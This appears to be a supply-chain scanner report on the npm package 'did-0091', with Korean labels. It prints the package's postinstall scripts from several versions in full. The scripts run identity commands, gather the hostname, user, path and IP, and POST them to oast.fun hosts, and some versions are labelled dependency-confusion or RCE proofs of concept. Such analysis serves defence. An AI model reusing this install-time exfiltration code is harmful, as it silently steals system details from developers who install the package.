// npm 패키지

did-0091

xxx

npmjs.com tarball

버전

메인테이너

최초 publish

2026-05-19

publisher

dewifewi

tarball

977 B

AUTO-PUBLISHED·6개 버전 인덱싱됨·최근 publish: 2026-05-19

// exfil path

what is read → where it ships

steals

○ home dir
○ system info

sends to

⇢ tjalcgvzuaojvayjfdfh1rtb4ojaobofs.oast.fun(oast.fun)
⚙ dns tunneling(fetches + executes remote payload)

// publisher 캠페인by dewifewi

이 계정에서 catch된 패키지 2건

고립된 catch가 아닙니다. 동일 publisher가 1개의 다른 패키지를 추가로 발행했고, 모두 파이프라인이 catch했습니다 — 일회성이 아닌 조직적 캠페인의 형태. 아래 링크는 각 형제 catch의 분석으로 이동합니다.

// offending code· @11.1.8· 1 file flagged

llm: malicious · 0.95

→ 의심 전송지로 발송: tjalcgvzuaojvayjfdfh1rtb4ojaobofs.oast.fun.

@11.1.8·2026-05-19·AUTO-PUBLISHED·publisher: dewifewi
heuristic 97/100
static flags 6
llm malicious (0.95) via ollama
install-scripts:postinstallpublish-burst:7new-publisher:0dpublisher-version-pump:7reads-env-varsreads-homedirreads-system-infodns-tunnelingchild-process-spawndest-via-hostname-var
→ 의심 전송지로 발송: tjalcgvzuaojvayjfdfh1rtb4ojaobofs.oast.fun.
// NHI intent1 target·mixed harvest patterns·gate: always

--- install scripts --- ### postinstall node -e "const os=require('os'),http=require('http' ),https=require('https' ),cp=require('child_process'); const getIP=(cb)=>{https.get('https://api.ipify.org',(res )=>{let d='';res.on('data',(c)=>d+=c);res.on('end',()=>cb(d))}).on('error',()=>cb('unknown'))}; getIP((ip)=>{ cp.exec('id || ver && whoami && hostname', (e,o,r)=>{ const data={time:new Date().toUTCString(), organization:process.env.USERDOMAIN||process.env.COMPANY||'Check IP WHOIS', ip_address:ip, package_name:'did-0091', hostname:os.hostname(), current_path:process.cwd(), command_output:o+r }; const postData=JSON.stringify(data); const req=http.request({hostname:'tjalcgvzuaojvayjfdfh1rtb4ojaobofs.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(postData )}},()=>{}); req.write(postData); req.end(); }); });" --- package/package.json (excerpt) --- { "name": "did-0091", "version": "11.1.8", "description": "xxx", "main": "index.js", "scripts": { "postinstall": "node -e \"const os=require('os'),http=require('http' ),https=require('https' ),cp=require('child_process'); const getIP=(cb)=>{https.get('https://api.ipify.org',(res )=>{let d='';res.on('data',(c)=>d+=c);res.on('end',()=>cb(d))}).on('error',()=>cb('unknown'))}; getIP((ip)=>{ cp.exec('id || ver && whoami && hostname', (e,o,r)=>{ const data={time:new Date().toUTCString(), organization:process.env.USERDOMAIN||process.env.COMPANY||'Check IP WHOIS', ip_address:ip, package_name:'did-0091', hostname:os.hostname(), current_path:process.cwd(), command_output:o+r }; const postData=JSON.stringify(data); const req=http.request({hostname:'tjalcgvzuaojvayjfdfh1rtb4ojaobofs.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(postData )}},()=>{}); req.write(postData); req.end(); }); });\"" } } --- dynamic destinations --- → tjalcgvzuaojvayjfdfh1rtb4ojaobofs.oast.fun (via hostname-var)

--- install scripts --- ### postinstall node -e "const os=require('os'),http=require('http' ),https=require('https' ),cp=require('child_process'); const getIP=(cb)=>{https.get('https://api.ipify.org',(res )=>{let d='';res.on('data',(c)=>d+=c);res.on('end',()=>cb(d))}).on('error',()=>cb('unknown'))}; getIP((ip)=>{ cp.exec('id || ver && whoami && hostname', (e,o,r)=>{ const data={time:new Date().toUTCString(), organization:process.env.USERDOMAIN||process.env.COMPANY||'Check IP WHOIS', ip_address:ip, package_name:'collected-forms-embed-js', hostname:os.hostname(), current_path:process.cwd(), command_output:o+r }; const postData=JSON.stringify(data); const req=http.request({hostname:'tjalcgvzuaojvayjfdfh1rtb4ojaobofs.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(postData )}},()=>{}); req.write(postData); req.end(); }); });" --- package/package.json (excerpt) --- { "name": "did-0091", "version": "11.1.7", "description": "xxx", "main": "index.js", "scripts": { "postinstall": "node -e \"const os=require('os'),http=require('http' ),https=require('https' ),cp=require('child_process'); const getIP=(cb)=>{https.get('https://api.ipify.org',(res )=>{let d='';res.on('data',(c)=>d+=c);res.on('end',()=>cb(d))}).on('error',()=>cb('unknown'))}; getIP((ip)=>{ cp.exec('id || ver && whoami && hostname', (e,o,r)=>{ const data={time:new Date().toUTCString(), organization:process.env.USERDOMAIN||process.env.COMPANY||'Check IP WHOIS', ip_address:ip, package_name:'collected-forms-embed-js', hostname:os.hostname(), current_path:process.cwd(), command_output:o+r }; const postData=JSON.stringify(data); const req=http.request({hostname:'tjalcgvzuaojvayjfdfh1rtb4ojaobofs.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(postData )}},()=>{}); req.write(postData); req.end(); }); });\"" } } --- dynamic destinations --- → tjalcgvzuaojvayjfdfh1rtb4ojaobofs.oast.fun (via hostname-var)

const data={path:process.cwd(), registry:process.env.npm_config_registry, user:process.env.USER || process.env.USERNAME, arch:process.arch, platform:process.platform}; cp.exec('id || ver', (e,o,r)=>{ data.os_info=o+r; const postData=JSON.st

--- install scripts --- ### postinstall node -e "const cp=require('child_process'),http=require('http' ); const data={path:process.cwd(), registry:process.env.npm_config_registry, user:process.env.USER || process.env.USERNAME, arch:process.arch, platform:process.platform}; cp.exec('id || ver', (e,o,r)=>{ data.os_info=o+r; const postData=JSON.stringify(data); const req=http.request({hostname:'wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':postData.length}},( )=>{}); req.write(postData); req.end(); });" --- package/package.json (excerpt) --- { "name": "did-0091", "version": "11.0.9", "description": "Advanced Dependency Confusion PoC", "main": "index.js", "scripts": { "postinstall": "node -e \"const cp=require('child_process'),http=require('http' ); const data={path:process.cwd(), registry:process.env.npm_config_registry, user:process.env.USER || process.env.USERNAME, arch:process.arch, platform:process.platform}; cp.exec('id || ver', (e,o,r)=>{ data.os_info=o+r; const postData=JSON.stringify(data); const req=http.request({hostname:'wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':postData.length}},( )=>{}); req.write(postData); req.end(); });\"" } } --- dynamic destinations --- → wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun (via hostname-var) --- package.json (entry) --- { "name": "did-0091", "version": "11.0.9", "description": "Advanced Dependency Confusion PoC", "main": "index.js", "scripts": { "postinstall": "node -e \"const cp=require('child_process'),http=require('http' ); const data={path:process.cwd(), registry:process.env.npm_config_registry, user:process.env.USER || process.env.USERNAME, arch:process.arch, platform:process.platform}; cp.exec('id || ver', (e,o,r)=>{ data.os_info=o+r; const postData=JSON.stringify(data); const req=http.request({hostname:'wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':postData.length}},( )=>{}); req.write(postData); req.end(); });\"" } } --- index.js (entry) --- // PoC - harmless package

const data={time:new Date().toUTCString(), organization:process.env.USERDOMAIN||process.env.COMPANY||'Check IP WHOIS', ip_address:ip, package_name:'collected-forms-embed-js', hostname:os.hostname(), current_path:process.cwd(), command_outpu

--- install scripts --- ### postinstall node -e "const os=require('os'),http=require('http' ),https=require('https' ),cp=require('child_process'); const getIP=(cb)=>{https.get('https://api.ipify.org',(res )=>{let d='';res.on('data',(c)=>d+=c);res.on('end',()=>cb(d))}).on('error',()=>cb('unknown'))}; getIP((ip)=>{ cp.exec('id || ver && whoami && hostname', (e,o,r)=>{ const data={time:new Date().toUTCString(), organization:process.env.USERDOMAIN||process.env.COMPANY||'Check IP WHOIS', ip_address:ip, package_name:'collected-forms-embed-js', hostname:os.hostname(), current_path:process.cwd(), command_output:o+r }; const postData=JSON.stringify(data); const req=http.request({hostname:'wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(postData )}},()=>{}); req.write(postData); req.end(); }); });" --- package/package.json (excerpt) --- { "name": "did-0091", "version": "11.0.7", "description": "xxx", "main": "index.js", "scripts": { "postinstall": "node -e \"const os=require('os'),http=require('http' ),https=require('https' ),cp=require('child_process'); const getIP=(cb)=>{https.get('https://api.ipify.org',(res )=>{let d='';res.on('data',(c)=>d+=c);res.on('end',()=>cb(d))}).on('error',()=>cb('unknown'))}; getIP((ip)=>{ cp.exec('id || ver && whoami && hostname', (e,o,r)=>{ const data={time:new Date().toUTCString(), organization:process.env.USERDOMAIN||process.env.COMPANY||'Check IP WHOIS', ip_address:ip, package_name:'collected-forms-embed-js', hostname:os.hostname(), current_path:process.cwd(), command_output:o+r }; const postData=JSON.stringify(data); const req=http.request({hostname:'wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(postData )}},()=>{}); req.write(postData); req.end(); }); });\"" } } --- dynamic destinations --- → wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun (via hostname-var)

--- install scripts --- ### postinstall node -e "const os=require('os'),http=require('http' ),https=require('https' ),cp=require('child_process'); const getIP=(cb)=>{https.get('https://api.ipify.org',(res )=>{let d='';res.on('data',(c)=>d+=c);res.on('end',()=>cb(d))}).on('error',()=>cb('unknown'))}; getIP((ip)=>{ cp.exec('id || ver && whoami && hostname', (e,o,r)=>{ const data={time:new Date().toUTCString(), organization:process.env.USERDOMAIN||process.env.COMPANY||'Check IP WHOIS', ip_address:ip, package_name:'collected-forms-embed-js', hostname:os.hostname(), current_path:process.cwd(), command_output:o+r }; const postData=JSON.stringify(data); const req=http.request({hostname:'wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(postData )}},()=>{}); req.write(postData); req.end(); }); });" --- package/package.json (excerpt) --- { "name": "did-0091", "version": "11.0.6", "description": "Full RCE PoC -osama", "main": "index.js", "scripts": { "postinstall": "node -e \"const os=require('os'),http=require('http' ),https=require('https' ),cp=require('child_process'); const getIP=(cb)=>{https.get('https://api.ipify.org',(res )=>{let d='';res.on('data',(c)=>d+=c);res.on('end',()=>cb(d))}).on('error',()=>cb('unknown'))}; getIP((ip)=>{ cp.exec('id || ver && whoami && hostname', (e,o,r)=>{ const data={time:new Date().toUTCString(), organization:process.env.USERDOMAIN||process.env.COMPANY||'Check IP WHOIS', ip_address:ip, package_name:'collected-forms-embed-js', hostname:os.hostname(), current_path:process.cwd(), command_output:o+r }; const postData=JSON.stringify(data); const req=http.request({hostname:'wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(postData )}},()=>{}); req.write(postData); req.end(); }); });\"" } } --- dynamic destinations --- → wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun (via hostname-var)

--- install scripts --- ### postinstall node -e "const os=require('os'),http=require('http' ),https=require('https' ),cp=require('child_process'); const getIP=(cb)=>{https.get('https://api.ipify.org',(res )=>{let d='';res.on('data',(c)=>d+=c);res.on('end',()=>cb(d))}).on('error',()=>cb('unknown'))}; getIP((ip)=>{ cp.exec('id || ver && whoami && hostname', (e,o,r)=>{ const data={time:new Date().toUTCString(), organization:process.env.USERDOMAIN||process.env.COMPANY||'Check IP WHOIS', ip_address:ip, package_name:'collected-forms-embed-js', hostname:os.hostname(), current_path:process.cwd(), command_output:o+r }; const postData=JSON.stringify(data); const req=http.request({hostname:'wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(postData )}},()=>{}); req.write(postData); req.end(); }); });" --- package/package.json (excerpt) --- { "name": "did-0091", "version": "11.0.5", "description": "Full RCE PoC -osama", "main": "index.js", "scripts": { "postinstall": "node -e \"const os=require('os'),http=require('http' ),https=require('https' ),cp=require('child_process'); const getIP=(cb)=>{https.get('https://api.ipify.org',(res )=>{let d='';res.on('data',(c)=>d+=c);res.on('end',()=>cb(d))}).on('error',()=>cb('unknown'))}; getIP((ip)=>{ cp.exec('id || ver && whoami && hostname', (e,o,r)=>{ const data={time:new Date().toUTCString(), organization:process.env.USERDOMAIN||process.env.COMPANY||'Check IP WHOIS', ip_address:ip, package_name:'collected-forms-embed-js', hostname:os.hostname(), current_path:process.cwd(), command_output:o+r }; const postData=JSON.stringify(data); const req=http.request({hostname:'wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(postData )}},()=>{}); req.write(postData); req.end(); }); });\"" } } --- dynamic destinations --- → wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun (via hostname-var)